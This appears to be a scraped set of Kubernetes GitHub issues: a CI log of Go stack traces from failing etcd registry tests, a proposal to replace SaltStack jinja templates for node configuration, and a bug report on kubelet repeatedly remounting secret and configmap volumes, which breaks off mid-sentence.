0xc208d6c00a, 0x0, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/bufio/bufio.go:295 +0x257  22:35:40  step 3/3  bufio.  reader .readline 0xc2087ab4a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/bufio/bufio.go:324 +0x62  22:35:40  step 3/3  net/textproto.  reader .readlineslice 0xc208d64000, 0x0, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/textproto/reader.go:55 +0x9e  22:35:40  step 3/3  net/textproto.  reader .readline 0xc208d64000, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/textproto/reader.go:36 +0x4f  22:35:40  step 3/3  net/http.readrequest 0xc2087ab4a0, 0xc208788f70, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/request.go:598 +0xcb  22:35:40  step 3/3  net/http.  conn .readrequest 0xc208187720, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:586 +0x26f  22:35:40  step 3/3  net/http.  conn .serve 0xc208187720   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1162 +0x69e  22:35:40  step 3/3  created by net/http.  server .serve  22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1751 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 365  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2083fa7d0, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2083fa7d0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .read 0xc2083fa770, 0xc2086e4000, 0x1000, 0x1000, 0x0, 0x7f6bcc1e1188, 0xc208404de8   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:242 +0x40f  22:35:40  step 3/3  net.  conn .read 0xc208597238, 0xc2086e4000, 0x1000, 0x1000, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/net.go:121 +0xdc  22:35:40  step 3/3  net/http.noteeofreader.read 0x7f6bcc1ec340, 0xc208597238, 0xc2085af448, 0xc2086e4000, 0x1000, 0x1000, 0x12f9560, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/transport.go:1270 +0x6e  22:35:40  step 3/3  net/http.  noteeofreader .read 0xc208727180, 0xc2086e4000, 0x1000, 0x1000, 0xc208012000, 0x0, 0x0   22:35:40  step 3/3     <autogenerated>:125 +0xd4  22:35:40  step 3/3  bufio.  reader .fill 0xc208701140   22:35:40  step 3/3     /usr/src/go/src/bufio/bufio.go:97 +0x1ce  22:35:40  step 3/3  bufio.  reader .peek 0xc208701140, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/bufio/bufio.go:132 +0xf0  22:35:40  step 3/3  net/http.  persistconn .readloop 0xc2085af3f0   22:35:40  step 3/3     /usr/src/go/src/net/http/transport.go:842 +0xa4  22:35:40  step 3/3  created by net/http.  transport .dialconn  22:35:40  step 3/3     /usr/src/go/src/net/http/transport.go:660 +0xc9f  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 366  select :  22:35:40  step 3/3  net/http.  persistconn .writeloop 0xc2085af3f0   22:35:40  step 3/3     /usr/src/go/src/net/http/transport.go:945 +0x41d  22:35:40  step 3/3  created by net/http.  transport .dialconn  22:35:40  step 3/3     /usr/src/go/src/net/http/transport.go:661 +0xcbc  22:35:40  step 3/3  fail   k8s.io/kubernetes/pkg/registry/pod/etcd 11.294s  22:35:40  step 3/3  ok     k8s.io/kubernetes/pkg/registry/pod/rest 2.080s  22:35:41  step 3/3  --- fail: testwatch  7.33s   22:35:41  step 3/3     utils.go:184: unexpected error in waituntilup  timeout on waiting for etcd cluster   22:35:41  step 3/3  panic: runtime error: invalid memory address or nil pointer dereference  recovered   22:35:41  step 3/3     panic: runtime error: invalid memory address or nil pointer dereference  22:35:41  step 3/3   signal 0xb code=0x1 addr=0x0 pc=0x7c47d3   22:35:41  step 3/3    22:35:41  step 3/3  goroutine 284  running :  22:35:41  step 3/3  testing.func·006    22:35:41  step 3/3     /usr/src/go/src/testing/testing.go:441 +0x181  22:35:41  step 3/3  k8s.io/kubernetes/pkg/registry/registrytest.newetcdstorage 0xc2083e5440, 0x159fef0, 0xa, 0x0, 0x0, 0xb   22:35:41  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/registrytest/etcd.go:40 +0x173  22:35:41  step 3/3  k8s.io/kubernetes/pkg/registry/podsecuritypolicy/etcd.newstorage 0xc2083e5440, 0x3, 0x3   22:35:41  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/podsecuritypolicy/etcd/etcd_test.go:35 +0x3b  22:35:41  step 3/3  k8s.io/kubernetes/pkg/registry/podsecuritypolicy/etcd.testwatch 0xc2083e5440   22:35:41  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/podsecuritypolicy/etcd/etcd_test.go:110 +0x36  22:35:41  step 3/3  testing.trunner 0xc2083e5440, 0x1f07a18   22:35:41  step 3/3     /usr/src/go/src/testing/testing.go:447 +0xbf  22:35:41  step 3/3  created by testing.runtests  22:35:41  step 3/3     /usr/src/go/src/testing/testing.go:555 +0xa8b  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 1  chan receive :  22:35:41  step 3/3  testing.runtests 0x1869020, 0x1f079a0, 0x6, 0x6, 0x4cab01   22:35:41  step 3/3     /usr/src/go/src/testing/testing.go:556 +0xad6  22:35:41  step 3/3  testing.  m .run 0xc2080f3a40, 0x1f355a0   22:35:41  step 3/3     /usr/src/go/src/testing/testing.go:485 +0x6c  22:35:41  step 3/3  main.main    22:35:41  step 3/3     k8s.io/kubernetes/pkg/registry/podsecuritypolicy/etcd/_test/_testmain.go:62 +0x1d5  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 5  chan receive :  22:35:41  step 3/3  github.com/golang/glog.  loggingt .flushdaemon 0x1f29a80   22:35:41  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:879 +0x78  22:35:41  step 3/3  created by github.com/golang/glog.init·1  22:35:41  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:410 +0x2a7  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 17  syscall, locked to thread :  22:35:41  step 3/3  runtime.goexit    22:35:41  step 3/3     /usr/src/go/src/runtime/asm_amd64.s:2232 +0x1  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 160  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc20818f2c0, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc20818f2c0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc20818f260, 0x0, 0x7f9367743358, 0xc2084025a0   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208038b18, 0x7f936774e368, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208038b18, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc208513d40, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2083f9080, 0x7f936774dbd8, 0xc208513d40, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 291  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc20816dbf0, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc20816dbf0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc20816db90, 0x0, 0x7f9367743358, 0xc208403e18   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208039358, 0xc684e9, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208039358, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2083e6390, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2083b0180, 0x7f936774dbd8, 0xc2083e6390, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 101  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc208011790, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc208011790, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc208011730, 0x0, 0x7f9367743358, 0xc208402d08   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208039448, 0xc684e9, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208039448, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2083f7e00, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2083f8c60, 0x7f936774dbd8, 0xc2083f7e00, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 193  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc208162a00, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc208162a00, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc2081629a0, 0x0, 0x7f9367743358, 0xc2081ddfe0   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc2080392b0, 0xc684e9, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc2080392b0, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2083baab0, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2083b17a0, 0x7f936774dbd8, 0xc2083baab0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 153  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc20818f090, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc20818f090, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc20818f030, 0x0, 0x7f9367743358, 0xc208565bc8   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208038b10, 0xc684e9, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208038b10, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc208512a50, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc208563da0, 0x7f936774dbd8, 0xc208512a50, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 53  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc20817dcd0, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc20817dcd0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc20817dc70, 0x0, 0x7f9367743358, 0xc20820ece8   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208038638, 0xc20804a740, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208038638, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc20821d110, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc208048ea0, 0x7f936774dbd8, 0xc20821d110, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 237  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc2087e1db0, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc2087e1db0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc2087e1d50, 0x0, 0x7f9367743358, 0xc2087fa778   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208039b28, 0xc684e9, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208039b28, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2087f4510, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2087de780, 0x7f936774dbd8, 0xc2087f4510, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 60  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc20817de20, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc20817de20, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc20817ddc0, 0x0, 0x7f9367743358, 0xc20820f738   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208038640, 0x7f936774e368, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208038640, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2081f9530, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2080497a0, 0x7f936774dbd8, 0xc2081f9530, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 108  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc2080118e0, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc2080118e0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc208011880, 0x0, 0x7f9367743358, 0xc2084035d8   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208039450, 0x7f936774e368, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208039450, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc208512ea0, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2083f93e0, 0x7f936774dbd8, 0xc208512ea0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 200  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc208162b50, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc208162b50, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc208162af0, 0x0, 0x7f9367743358, 0xc20819e9d8   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc2080392c0, 0x7f936774e368, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc2080392c0, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2083bbdd0, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc20821a000, 0x7f936774dbd8, 0xc2083bbdd0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 244  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc2087e1f00, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc2087e1f00, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc2087e1ea0, 0x0, 0x7f9367743358, 0xc2087fb180   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208039b30, 0x7f936774e368, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208039b30, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2087f5830, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2087defc0, 0x7f936774dbd8, 0xc2087f5830, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3    22:35:41  step 3/3  goroutine 298  io wait :  22:35:41  step 3/3  net.  polldesc .wait 0xc20816dd40, 0x72, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:41  step 3/3  net.  polldesc .waitread 0xc20816dd40, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:41  step 3/3  net.  netfd .accept 0xc20816dce0, 0x0, 0x7f9367743358, 0xc20820f388   22:35:41  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:41  step 3/3  net.  tcplistener .accepttcp 0xc208039360, 0x7f936774e368, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:41  step 3/3  net.  tcplistener .accept 0xc208039360, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:41  step 3/3  net/http/httptest.  historylistener .accept 0xc2083e7470, 0x0, 0x0, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:41  step 3/3  net/http.  server .serve 0xc2083b0ae0, 0x7f936774dbd8, 0xc2083e7470, 0x0, 0x0   22:35:41  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:41  step 3/3  created by net/http/httptest.  server .start  22:35:41  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:41  step 3/3  fail   k8s.io/kubernetes/pkg/registry/podsecuritypolicy/etcd   10.678s

kubernetes maintains most of the node/master configuration as jinja templates at https://github.com/kubernetes/kubernetes/tree/master/cluster/saltbase/salt. these templates are evaluated using saltstack on the nodes. this requires that the distro running on the nodes support python and jinja evaluators. this is undesirable for several reasons: 1. the syntax is complex and difficult to maintain  example: https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/kube-apiserver/kube-apiserver.manifest  2. node os  like gci and coreos  find it undesirable to support salt  mainly because of heavy dependency on several python modules - https://gitweb.gentoo.org/repo/gentoo.git/tree/app-admin/salt/salt-2015.8.8.ebuild n29   current status: 1. coreos:     this is just my understanding, but coreos devs can comment here     coreos today has forked the templates and maintain their own manifests - https://github.com/kubernetes/kubernetes/tree/master/cluster/gce/coreos/kube-manifests    this has drawback that they don't support all k8s features and so cannot pass all tests. 2. gci    in order to be backwards compatible to old containervm and to support all tests, gci adopted to resolve existing salt templates using 'sed' commands - https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/gci/configure-helper.sh l567.    this is ugly and keeps breaking and no one wants to do this.     please add if any other distros have any other concerns w.r.t. salt .  the purpose of this bug is two fold: 1. if not salt, what should be the other  hopefully simpler and cleaner  way to specify node configuration 2. figure out how to migrate existing salt configurations to the new way  i had a brief meeting with @dchen1107 and @mikedanese last week about this. options discussed in that meeting were: 1. do the salt config evaluation locally  rather than on remote k8s node  -- this may not be possible in certain cases where or node specific info is needed  like ipaddress or hostname, etc . 2. use some other template mechanism and evaluator ... preferably one with statically linked binary evaluator. this can be provided in a container  or as-is alongwith other kubernetes packages. and the host simply runs it during setup. https://github.com/google/jsonnet was suggested.  @kubernetes/goog-node @roberthbailey @dchen1107 @mikedanese @kubernetes/sig-cluster-lifecycle

tl;dr: kubelet keeps trying to remount secrets and configmaps into pods over and over again.    my environment: kubernetes 1.3.0 running on ubuntu 14.04.  i used the instructions here to set things up:  http://kubernetes.io/docs/getting-started-guides/ubuntu/   i.e. etcd, flanneld and the kube\\  processes are running on the host os, not in containers or docker-in-a-vm ala minikube   in trying to track down high disk write rates, i found that the partition i use for my etcd wal log was getting about 40kb/s write traffic.  etcd metrics show that i'm getting 3 qps get and 3qps getrecursive.  write traffic to etcd is essentially nil  pods are all stable .   this is a single node system with ~30 user pods, most of which are doing nothing unless i sent traffic to them  which i'm not while doing these measurements .  in the upstart kubelet log, i see this over and over again:      i0716 09:06:30.237831   19838 reconciler.go:253  mountvolume operation started for volume \ kubernetes.io/configmap/samba-config\   spec.name: \ samba-config\   to pod \ 6a9d4812-4b57-11e6-bf48-38607772ada8\   uid: \ 6a9d4812-4b57-11e6-bf48-38607772ada8\  . volume is already mounted to pod, but remount was requested. i0716 09:06:30.237969   19838 reconciler.go:253  mountvolume operation started for volume \ kubernetes.io/secret/default-token-4sd3h\   spec.name: \ default-token-4sd3h\   to pod \ 6a9d4812-4b57-11e6-bf48-38607772ada8\   uid: \ 6a9d4812-4b57-11e6-bf48-38607772ada8\  . volume is already mounted to pod, but remount was requested. i0716 09:06:30.238030   19838 reconciler.go:253  mountvolume operation started for volume \ kubernetes.io/configmap/samba-users\   spec.name: \ samba-users\   to pod \ 6a9d4812-4b57-11e6-bf48-38607772ada8\   uid: \ 6a9d4812-4b57-11e6-bf48-38607772ada8\  . volume is already mounted to pod, but remount was requested. i0716 09:06:30.240632   19838 operation_executor.go:720  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/samba-config\   spec.name: \ samba-config\   pod \ 6a9d4812-4b57-11e6-bf48-38607772ada8\   uid: \ 6a9d4812-4b57-11e6-bf48-38607772ada8\  . i0716 09:06:30.240639   19838 operation_executor.go:720  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/samba-users\   spec.name: \ samba-users\   pod \ 6a9d4812-4b57-11e6-bf48-38607772ada8\   uid: \ 6a9d4812-4b57-11e6-bf48-38607772ada8\  . i0716 09:06:30.240814   19838 operation_executor.go:720  mountvolume.setup succeeded for volume \ kubernetes.io/secret/default-token-4sd3h\   spec.name: \ default-token-4sd3h\   pod \ 6a9d4812-4b57-11e6-bf48-38607772ada8\   uid: \ 6a9d4812-4b57-11e6-bf48-38607772ada8\  .      so it's repeatedly remounting already-mounted secret volumes and configmaps into pods.  analyzing the unique pod ids, this appears to be affecting all of them:      $ grep \ to pod\  /var/log/upstart/kubelet.log | awk '{print $15}' | sort | uniq | wc -l 40 kubectl get po --all-namespaces | wc -l 38      i suspect the 2 missing pods are from old deployments.  this goes on ad infinitum every 3-5 seconds, hitting 2-3 